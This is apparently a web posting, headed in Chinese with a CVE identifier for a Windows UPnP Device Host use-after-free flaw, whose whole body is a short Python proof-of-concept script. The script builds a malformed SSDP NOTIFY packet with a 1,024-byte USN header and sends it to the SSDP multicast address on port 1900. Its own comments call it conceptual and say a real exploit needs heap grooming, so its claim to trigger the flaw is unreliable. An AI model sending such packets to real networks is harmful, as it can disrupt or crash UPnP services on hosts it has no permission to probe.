CVE-2026-27925 Windows UPnP设备主机释放后重用漏洞

import socket import struct # Target IP and Port (Multicast for SSDP or specific host) TARGET_IP = "239.255.255.250" TARGET_PORT = 1900 def send_upnp_malformed_packet(): # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # Construct a malformed NOTIFY message to trigger UAF logic # This is a conceptual PoC. Real exploit requires specific heap grooming. payload = b"NOTIFY * HTTP/1.1\r\n" payload += b"HOST: 239.255.255.250:1900\r\n" payload += b"NT: uuid: malformed-uuid-trigger\r\n" payload += b"NTS: ssdp:alive\r\n" # Adding a long header or malformed body to potentially trigger the parsing issue payload += b"USN: " + b"A" * 1024 + b"\r\n" payload += b"\r\n" try: # Send the malicious packet sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print(f"[+] Malformed UPnP packet sent to {TARGET_IP}:{TARGET_PORT}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": send_upnp_malformed_packet()